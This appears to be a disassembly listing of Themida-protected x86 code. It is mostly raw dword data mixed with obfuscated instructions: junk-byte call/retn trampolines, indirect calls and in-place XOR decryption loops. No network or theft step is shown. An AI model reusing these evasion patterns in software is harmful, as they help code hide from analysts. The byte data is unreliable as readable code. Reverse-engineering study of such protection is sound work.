612B87Ch, 585BD3FFh, 95BD83h, 74000610h, 0B8535017h dd 438h, 132D8589h, 9D8D0610h, 612B51Dh, 585BD3FFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9EC35646h, 89D7D840h dd 1029A9BDh, 66FC6006h, 70B7F181h, 0B5295761h, 61015C1h dd 8DC08B5Eh, 1013B985h, 9E806h, 9AB00000h, 0A480A937h dd 66A2513Bh, 5F6317BFh, 8950DE8Bh, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 39DCFC3h dd 6646D676h, 6A8888BBh, 81BD8B00h, 0E906100Bh, 0Dh, 0A19FAA3Eh dd 59E41Dh, 0ED5502A5h, 60006A60h, 0BE9h, 2C31A900h, 0B97A994h dd 620BE457h, 0AE9h, 8D1E6600h, 0CC306876h, 61EE3B8Bh dd 858D85B3h, 61442BDh, 83FBB70Fh, 6A05C0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0E989AAC3h dd 815773ABh, 556A68D3h, 3605F4Ah, 10278185h, 0F9858906h dd 61061018h, 8B666090h, 54DCBFF8h, 50616188h, 0DE8h, 6249DC00h dd 5EDF72ABh, 0F2CF00E3h, 11E9EC2Ah, 2D000000h, 81810707h dd 0E0FD647Bh, 0F1E8A44Fh, 730BE397h, 6A905Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0BCE42AC3h, 7D058B46h, 9D8B09C5h, 6103115h, 0CE8h, 39920900h dd 3BC80AE2h, 548529F5h, 6A5FF9E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66463877h dd 6ADA8Bh, 0A0DF8166h, 1995FF45h, 6606101Dh dd 0D16CD381h, 0AFD88D8Dh, 6A0613h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 724824C3h dd 0BC92CA2Eh, 0D1FF04F4h, 10E8h, 4477D000h, 76A614B5h dd 9DB26053h, 0ECD77548h, 0BD8B5B34h, 6102255h, 2209BD83h dd 0F010610h, 8385h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 969294DFh, 0DF8B6612h dd 9D8B026Ah, 61001FDh, 24048950h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 1FC35646h, 5AABCA31h, 0BC4C05B8h dd 95C7806Eh, 49595FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 1DF288C3h, 2C3F0237h dd 0FA8B55AAh, 0D13E9h, 0E800h, 815D0000h, 1442C7EDh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F88A35FCh, 8DD88B66h, 1399B685h, 13E806h, 0D40C0000h dd 0DE54D4A0h, 5DFA7D98h, 0DDFC58A8h, 44656D9Bh, 7BF38123h dd 5B20E460h, 50D88B90h, 0DC1ABB66h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 33359783h dd 45E78166h, 35FF647Bh, 0 dd 12E8h, 266B2500h, 9A4D026Dh, 0F1267722h, 0EA01D065h dd 6683BCCFh, 0BDEAE781h, 2589645Fh, 0 ; --------------------------------------------------------------------------- sub [ebp+6100081h], ecx inc dword ptr [ebp+6101419h] push 0 push ebx call sub_58F7EF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F7EF proc near ; CODE XREF: Themida_:0058F7E7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_58F7EF endp ; --------------------------------------------------------------------------- sub ah, [ebx] cmc mov [ebp+6101929h], esi loc_58F808: ; CODE XREF: Themida_:loc_590413j push 0FFFFFFFFh push 0 push eax call sub_58F815 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F815 proc near ; CODE XREF: Themida_:0058F80Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_58F815 endp ; --------------------------------------------------------------------------- db 7Fh, 0C0h, 85h dd 92BED3F5h, 11E808h, 0EA5D0000h, 0F1680D93h, 5F0ED217h dd 4F4CFE4Ch, 0BF2F9850h, 1475454Fh, 21B5FF5Fh, 8B061028h dd 10001D9Dh, 1595FF06h, 0E9061006h, 132h, 22A5BD89h, 0B00610h dd 51BD89h, 70E60610h, 8133BF66h, 8E971E4h, 0D2000000h dd 53080C02h, 3CFA1032h, 7830F61h, 89000001h, 1029F59Dh dd 0C8B60F06h, 9E349ABFh, 6BA73h, 0E9600000h, 10h, 8C0CC17h dd 41517807h, 7E70D902h, 760A78BAh, 0C18B61F5h, 10E9h dd 71F63600h, 2531C0EBh, 1FD00377h, 171AE926h, 4E8C135h dd 6BD38166h, 0E2F766E0h, 4A10BB66h, 11E9C82Bh, 3A000000h dd 9425FC00h, 0E5A94220h, 41C7EAC9h, 0D20EEF58h, 9589D18Bh dd 610124Dh, 9E9h, 9D9D2B00h, 0F061009h, 858BFAB7h, 61016B5h dd 35BD8B60h, 61061011h, 29C58509h, 0C0830610h, 83FE8B07h dd 5E900C0h, 9E000000h, 632BB765h, 830FD03Bh, 25h, 8D33DF81h dd 4FE96D19h, 0E8000000h, 0Fh, 3C38EDBDh, 9E51DF6Bh, 0D7F7AD4h dd 60635A1Ch, 61C68B66h, 7D8D8B5Bh, 0BF061029h, 3487F8Bh dd 0F01E183h, 2184h, 0E7816600h, 0A583D566h, 610297Dh dd 0AFBF66FEh, 0B59589F9h, 89061016h, 1023518Dh, 0E906h dd 0B58D0000h, 613DA9Bh, 6A5BF552h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 4D6156E8h dd 0FFFB8B66h, 1031C995h, 22D38106h, 2965C71Eh, 1001B185h dd 7B3B906h, 0B5310000h, 61006F5h, 0FFCE183h, 680h, 8DBD8B00h dd 0FC06100Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 39C35242h, 5B83F19Ch, 9529DEF2h, 6100AA5h, 8B66C02Bh dd 0BADEh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 7635C0C3h, 50FD9420h, 0FFBF6646h dd 0C233AD0Fh, 0D003E8D1h, 7504E983h, 0E8BA60F4h, 0F04ADD8h dd 1580h, 10E900h, 0B3480000h, 4FA8AD7h, 427A99F7h, 0DEC4500Bh dd 6A618FC8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 83C4C351h, 7A625EFCh, 7E926FDh dd 86000000h, 0DD4E9BA8h, 880DE5E5h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 819AC350h, 0D0ED4F7h, 0F5958B2Ch, 0E9061009h, 14h, 39EF1924h dd 1770A865h, 4C8C3C4Bh, 0D9593F95h, 8FEB96DDh, 23198D8Bh dd 81660610h, 50BBDBCBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 5774965Ch, 6A9F87h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1D3C4AC3h dd 77B72B11h, 1E29BD83h, 0F000610h, 8084h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0CFE5FF8Bh, 2B006F01h, 10348D9Dh, 0B806h, 8D8D0000h dd 6104E85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0DAC35343h, 9DBD8B5Fh, 0FF06101Ch, 51006AE1h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0F72AFF0Ah, 17B017EFh, 0BF0FA48Bh, 0C1BD83FFh, 61022h dd 34D840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 999E7CC3h, 5D9531h, 0BD830610h dd 61022C1h, 37840F01h, 66000003h, 0F836DB81h, 22C1BD83h dd 0F030610h, 2EF86h, 1D853100h, 8B061002h, 101FEDBDh dd 9E96006h, 72000000h, 41AAE072h, 0FD82C725h, 6AD98C66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 50D5C351h, 6010F82Eh, 1D2CE49h, 102AB98Dh dd 4E18006h, 0AFBBF0Fh, 0BB840FC9h, 0BF000000h, 74DDF43Eh dd 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 8831CDC3h, 0D3811A91h, 6C0500D1h dd 11FD8533h, 0BD8B0610h, 6101CB1h, 295DBD8Bh, 66500610h dd 89EC46BFh, 85292404h, 6102161h, 0FA8B006Ah, 0D3BC0268h dd 6E8EDh, 0F8790000h, 897E0B5h, 815B5B50h, 47FD2404h dd 8A0F124Bh, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+61005D5h] cld mov [ebp+613C26Dh], eax mov edi, edx jmp loc_58FED3 ; --------------------------------------------------------------------------- push 0 push ebx call sub_58FD0F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FD0F proc near ; CODE XREF: Themida_:0058FD07p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_58FD0F endp ; --------------------------------------------------------------------------- db 68h ; --------------------------------------------------------------------------- dec ecx inc esi mov esi, 73687FAFh call near ptr loc_58FD32+1 or ch, [eax+5CD6DC4Fh] loc_58FD32: ; CODE XREF: Themida_:0058FD27p cmp eax, 8B5BF98Bh test [ebp-3Eh], esp adc eax, [esi] push 0 push ebx call sub_58FD47 loc_58FD44: ; CODE XREF: Themida_:0058FD5Cj and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FD47 proc near ; CODE XREF: Themida_:0058FD3Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_58FD47 endp ; --------------------------------------------------------------------------- mov eax, 0BF795E35h jmp short loc_58FD44 ; --------------------------------------------------------------------------- cmp ah, [edx] or bx, 722Dh mov dword ptr [eax], 18h push 0 push esi call sub_58FD76 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FD76 proc near ; CODE XREF: Themida_:0058FD6Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_58FD76 endp ; --------------------------------------------------------------------------- wait jmp loc_58FD96 ; --------------------------------------------------------------------------- dd 0E103567Ah, 10520782h db 0DAh, 0AEh ; --------------------------------------------------------------------------- loc_58FD96: ; CODE XREF: Themida_:0058FD87j mov esi, [ebp+613C269h] mov [ebp+61011E5h], edi mov eax, [ebp+6100E25h] jmp loc_58FDBF ; --------------------------------------------------------------------------- db 83h, 37h, 18h dd 315FB7Ah, 0CF39A92Eh, 0DA85EF15h db 81h, 1Eh, 0F6h ; --------------------------------------------------------------------------- loc_58FDBF: ; CODE XREF: Themida_:0058FDA8j mov [esi], eax push 0 push edi call sub_58FDCC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FDCC proc near ; CODE XREF: Themida_:0058FDC4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58FDCC endp ; --------------------------------------------------------------------------- dd 858BB095h, 6102185h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0CAC35343h, 89BB3F27h, 1021E585h, 4468906h dd 50F98B66h, 34895B53h, 0C810F24h, 0F000000h, 687h, 0A59D8B00h dd 0FF061030h, 13C265B5h, 8D89F806h, 6103299h, 4E8h, 1F03FF00h dd 0E9606000h, 7, 0B2E211C2h, 0E81B9D17h, 0Dh, 0DEEB9D7h dd 19532515h, 95177A3Ch, 0B0615E48h, 0B350619Eh, 24448BD2h dd 0F88B6604h, 850F008Bh, 15h, 10E9h, 0B6C93900h, 4B4A6FEBh dd 3B4BF441h, 400760AEh, 244489EBh, 5819B704h, 15ED9D09h dd 858D0610h, 613C26Dh, 139D9589h, 0E8500610h, 0Bh, 0C4F5FCB0h dd 29C8A86Dh, 0E922F4F2h, 8, 3E3B3BA6h, 97867B7Bh, 2404895Fh dd 0FFFBB70Fh, 1005D595h, 459D8B06h ; --------------------------------------------------------------------------- sub [eax], dl push es loc_58FED3: ; CODE XREF: Themida_:0058FCFFj popa mov ebx, 52E34A68h mov dword ptr [ebp+61022C1h], 3 sub ebx, [ebp+610063Dh] mov ebx, [ebp+6100975h] cmp dword ptr [ebp+613C26Dh], 0 jz loc_58FF14 mov ebx, [ebp+6102E09h] jmp loc_58FF2F ; --------------------------------------------------------------------------- jmp loc_58FF12 ; --------------------------------------------------------------------------- dd 0AD5F7540h db 7Ah, 3Eh ; --------------------------------------------------------------------------- loc_58FF12: ; CODE XREF: Themida_:0058FF07j mov bl, dl loc_58FF14: ; CODE XREF: Themida_:0058FEF6j ; Themida_:0058FF2Bj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_58FF14 jmp short loc_58FF65 ; --------------------------------------------------------------------------- loc_58FF2F: ; CODE XREF: Themida_:0058FF02j ; Themida_:0058FF46j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_58FF2F jmp short loc_58FF65 ; --------------------------------------------------------------------------- loc_58FF4A: ; CODE XREF: Themida_:0058FF61j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_58FF4A jmp short $+2 loc_58FF65: ; CODE XREF: Themida_:0058FF2Dj ; Themida_:0058FF48j mov eax, eax push 0 push ebp call sub_58FF72 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FF72 proc near ; CODE XREF: Themida_:0058FF6Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_58FF72 endp ; --------------------------------------------------------------------------- dw 8BF3h ; --------------------------------------------------------------------------- popf lds ecx, [ecx] adc [esi], al cmp dword ptr [ebp+61022C1h], 3 jnz loc_590413 cmp dword ptr [ebp+613C26Dh], 0 jz loc_590413 push 0 push esi call sub_58FFAE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FFAE proc near ; CODE XREF: Themida_:0058FFA6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_58FFAE endp ; --------------------------------------------------------------------------- cli clc push dword ptr [ebp+613C26Dh] jmp loc_58FFD7 ; --------------------------------------------------------------------------- inc ecx sub dl, bh pop edx sar ebp, 1 retf ; --------------------------------------------------------------------------- dw 8B3h db 80h, 8Dh, 0B8h ; --------------------------------------------------------------------------- loc_58FFD7: ; CODE XREF: Themida_:0058FFC6j call dword ptr [ebp+6102FA5h] push 0 push ebp call sub_58FFE8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FFE8 proc near ; CODE XREF: Themida_:0058FFE0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_58FFE8 endp ; --------------------------------------------------------------------------- mov cl, 0EBh adc byte ptr [esi-41h], 0FEh pop edx pushf xor [ebx+13C261B5h], ecx push es jmp loc_59001E ; --------------------------------------------------------------------------- dd 29D88298h, 0CFEECB62h, 0FA5806F0h, 0F42B6AEAh db 25h, 1Ch ; --------------------------------------------------------------------------- loc_59001E: ; CODE XREF: Themida_:00590007j mov dword ptr [esi], 10001h mov [ebp+6101145h], ecx push eax mov [esp], esi push 0 push ebp call sub_590039 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590039 proc near ; CODE XREF: Themida_:00590031p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_590039 endp ; --------------------------------------------------------------------------- adc byte ptr [esi-77h], 8Dh mov [ebp+610124Dh], eax push dword ptr [ebp+613C26Dh] or [ebp+610049Dh], edi mov edi, [ebp+6101D1Dh] call dword ptr [ebp+6101225h] push 0 push edx call sub_590076 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590076 proc near ; CODE XREF: Themida_:0059006Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_590076 endp ; --------------------------------------------------------------------------- jnb short loc_5900C1 mov di, 7414h mov esi, [ebp+613C261h] push 0 push edi call sub_59009D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59009D proc near ; CODE XREF: Themida_:00590095p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_59009D endp ; --------------------------------------------------------------------------- db 4Ah, 7Dh, 0A4h db 26h, 90h ; --------------------------------------------------------------------------- xor [ebx+1021D185h], ecx push es pusha pusha jmp loc_5900C7 ; --------------------------------------------------------------------------- cwde loc_5900C1: ; CODE XREF: Themida_:00590086j popa mov edi, 8DC2E6C3h loc_5900C7: ; CODE XREF: Themida_:005900BBj mov edi, 6E346125h popa jnb loc_5900DE jmp loc_5900DE ; --------------------------------------------------------------------------- dd 6F2B636Dh db 0Ah, 53h ; --------------------------------------------------------------------------- loc_5900DE: ; CODE XREF: Themida_:005900CDj ; Themida_:005900D3j popa mov [esi+0C4h], eax push 0 push edx call sub_5900F0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5900F0 proc near ; CODE XREF: Themida_:005900E8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5900F0 endp ; --------------------------------------------------------------------------- dd 0E6DAD80Dh, 0C4FE940Bh, 0EE809FCh, 91000000h, 0DB7BDEC9h dd 4FC81E3Bh, 97AD6AFCh, 1A890FAFh, 0E8000000h, 14h, 0F0C331B6h dd 8988D96Ah, 82CE791Fh, 86DFAAFEh, 0F33A5103h, 958B5F5Bh dd 61009F5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0C7C35646h, 5BF88B52h, 8B04C283h, 1006D99Dh, 20508906h dd 165F61BFh, 0C2858D27h, 6A0613D7h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B40AC356h dd 0ACD66C83h, 0BE8C2h, 73B20000h, 0AA63F6E8h, 9700DB42h dd 5F616028h, 0B88689h, 0B5290000h, 61011F1h, 5E960h, 0D2A50000h dd 297C4DA4h, 100A498Dh, 6A6106h, 0F599D8Bh, 0B5FF0610h dd 613C26Dh, 0E11BD8Bh, 95FF0610h, 6100495h, 1BDEC381h dd 0F96054Bh, 0A8Ch, 62B26000h, 8C0Fh, 50610000h, 96FE8B66h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 27C35545h dd 0BD8B2BC5h, 6101C1Dh, 11E9h, 612B0D00h, 80E62188h, 9C518D3Bh dd 0C6D74FA9h, 0B5FF3053h, 613C26Dh, 0DE8h, 5D5A3E00h dd 3330B548h, 5C448089h, 13E92B8Bh, 0D3000000h, 226BC139h dd 0D4D8679Eh, 0E2E03A0Ch, 0ED8EF2ABh, 0FF5FDA8Bh, 10162D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0BA9D0498h, 0E8FD9CE5h, 83F50AD0h, 101351BDh dd 840F0006h, 26h, 78DB8166h, 0BB669695h, 0E950E06Ah, 0Fh dd 0AD8DDFF7h, 0B35BE270h, 0CC813898h, 9641320Ah, 89DBD09h dd 0B5FF0610h, 613C26Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 6CC35747h, 610B39ADh, 0BB8444E8h, 51D9509h dd 9D8B0610h, 61019D5h, 0C1995FFh, 6A0610h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0D935C5C3h dd 28C85101h, 8052604Bh, 6659A6D7h, 0FF61CE8Bh, 13C26DB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 9C066C93h, 6860Fh, 0E7810000h, 21C3F1ECh dd 162195FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0EDDDC6C3h, 89BD8358h, 206100Fh dd 63840Fh, 0C3BB0000h, 8B3EE757h, 1010C585h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 2D9D0349h, 0C6061006h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 10E9CCC3h, 0DC000000h dd 46AF8FE2h, 6AB16C34h, 4E294C00h, 8B1E0E83h, 2585C7D9h dd 6102Ah, 0F000000h, 68Ah, 55B50100h ; --------------------------------------------------------------------------- das adc [esi], al loc_590413: ; CODE XREF: Themida_:0058FF90j ; Themida_:0058FF9Dj jmp loc_58F808 ; --------------------------------------------------------------------------- push 0 push esi call sub_590423 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590423 proc near ; CODE XREF: Themida_:0059041Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_590423 endp ; --------------------------------------------------------------------------- db 19h dd 0F6BFC18Bh, 0BF2ABDA2h, 2A8F25BFh dword_590440 dd 13B9858Dh, 9D890610h, 6101F1Dh, 0F78B6090h, 0CE8h, 10E50600h ; DATA XREF: Themida_:0054CD80o dd 410055F7h, 9E97C623h, 8A0FC2h, 5E000000h, 6A905061h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0EF81C355h, 820FCCF1h, 9, 3850Fh, 0DF800000h dd 66006A34h, 0EA4CDF81h, 8166006Ah, 8DC990EFh, 14516D85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 5C08379h, 689BD31h, 8A900610h, 9BB750DEh dd 21DB8090h, 6AF8006Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 81A33CB0h, 519D8B05h dd 66061005h, 0FF32CCBFh, 101D1995h, 8D8DF806h, 613AFD8h dd 77DFBB66h, 8F0FD1FFh, 4, 0B709BB66h, 2209BD83h, 0F010610h dd 0A385h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0B5EF81E1h, 11F32F6h, 1000D985h dd 0DF8B6606h, 0BD8B026Ah, 6100891h, 7599501h, 60900610h dd 5E8h, 2F85F200h, 8B6666AFh, 5E859C2h, 9B000000h, 3BD7AAE6h dd 615A6160h, 0EE950h, 42CC0000h, 8DF2989Dh, 91D2A022h dd 0E860E99Ch, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 433AC106h, 425CCB81h dd 0D7817A0Eh, 5EBB0993h, 49595FFh, 9D890610h, 6102129h dd 0D91E9h, 0E800h, 815D0000h, 145177EDh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0BE0997Dh, 72F59ABEh, 9D8B0239h, 6100DF1h, 6E9h, 5FB06F00h dd 23BAB73Eh, 1004FDBDh, 0B6858D06h, 6A061399h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0F09AC350h, 1F72EBFBh, 25558AA8h, 999D2B60h, 66061000h dd 0CD29CB81h, 8B0F5361h, 5, 8DEF8166h, 66905FF0h, 0F50FA8Bh dd 158Dh, 0DE800h, 0A8430000h, 0D7D903CEh, 0C4ED71A0h dd 8B906C25h, 6A905FFAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 39EDC352h, 49BD8BCBh dd 0F061007h, 583h, 40BABB00h, 0FF641EE3h, 35h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 4F27DAFBh, 95010905h, 61005B1h, 0F7DF8166h, 258964FAh dd 0 dd 28A0Fh, 0F98B0000h, 141985FFh, 66500610h, 6A5BDE8Bh dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 21D11621h, 0E932374Dh, 10h, 0F6AA4FC6h dd 0EEEC51BDh, 7B2BAFAAh, 0D7CB71D6h, 0A65BD01h, 0B5FF0610h dd 61030C5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0E6C35141h, 61595FFh, 30E90610h, 8B000001h, 100D599Dh dd 0F00B006h, 70E6FEBFh, 0B74262BFh, 2971E469h, 10144D9Dh dd 7E906h, 8EFD0000h, 7841E7E6h, 0F613C7Bh, 10283h, 0E1B50900h dd 0F061023h, 0D781C8B6h, 573055FAh, 6BAh, 5BD8B00h, 0F061002h dd 0C18BDBB7h, 2FC19D0Bh, 8B600610h, 10213985h, 0FB8B6606h dd 4E8C161h, 0FE9h, 0E0A83500h, 522E0A40h, 0E1970F71h dd 5BB36C0Eh, 23E2F766h, 102E45BDh, 66C82B06h, 8B4169BFh dd 0B5BD89D1h, 0E906102Eh, 2, 858BD98Bh, 61020A1h, 11E9h dd 6515CD00h, 28A058FCh, 2E7163D3h, 8C67024Fh, 0C083D909h dd 0C3816607h, 8060CB0Ch, 0B70F14DEh, 0C08361F1h, 0FD03B00h dd 1583h, 6062B300h, 0B299D03h, 0E9610610h, 57h, 2369BD8Bh dd 8D8B0610h, 6102381h, 40CCC381h, 0E1833ED1h, 3C840F01h dd 0E8000000h, 13h, 0C9F1C2A2h, 0EB59D17Eh, 6CEF46A8h dd 2A1658A2h, 31B17468h, 1032C1BDh, 0A5835B06h, 6102381h dd 219D8BFEh, 89061012h, 1020A195h, 0EB816606h, 0E901FAh dd 8D000000h, 13E426B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 8FA095BFh, 0ED6E177Dh dd 0F381006Ah, 741E75AAh, 31C995FFh, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 1B24A1C3h dd 8951BBC4h, 100EFD9Dh, 0D4B95F06h, 6000000Dh, 11358D8Bh dd 0BF0F0610h, 0E18361D3h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 5260B670h dd 1EF99D33h, 8B5F0610h, 8BFC61DEh, 100B759Dh, 8BC02B06h dd 102949BDh, 8BD22B06h, 0C233ADDFh, 0D003E8D1h, 7504E983h dd 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 6E0CE8F9h, 8B6652D4h, 9D095FF9h, 61023D9h dd 5E9h, 94F67300h, 0BD8BBFFBh, 6103289h, 880Dh, 9E900h dd 79A30000h, 799DBD0Ah, 8B035A3Ch, 1009F595h, 0FE8B6606h dd 23198D8Bh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0DEEC21C3h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 6A1EC3h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 249282C3h dd 0E0366DD2h, 0BD837AB3h, 6101E29h, 0AF840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0F939C351h, 8E9h, 23FAC300h, 4995EE71h, 0B8E9h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0A0A8F5C3h, 0BD890458h, 6100169h, 2059BD09h dd 8D8D0610h, 6104E85h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0ABC35545h, 0BD293ABEh, 61027C1h, 2AF1BD8Bh dd 0E1FF0610h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 19C35040h, 1DC1BD8Bh, 0BD830610h, 61022C1h, 1D840F00h dd 60000004h, 912D37BAh, 71858966h, 61061013h, 22C1BD83h dd 0F010610h, 41E84h, 0D7C78100h, 835D7FB3h, 1022C1BDh dd 860F0306h, 3D5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0F4C35646h, 1840Fh, 0E9F80000h, 7, 4E564F22h dd 60D593F2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 83C35747h, 0AE5A08Bh, 598D8951h, 6606100Fh, 6AD98Ch dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0F44518C3h, 3B23E42Fh, 0E1805786h, 0FC90A04h, 12F84h dd 6830F00h, 1000000h, 1014A99Dh, 85858B06h, 50061021h dd 11F98589h, 335F0610h, 1011FD85h, 0ADBD8B06h, 90061030h dd 11E950h, 0BF950000h, 81B0D197h, 0CC169214h, 5F1D4AB1h dd 90A7CA85h, 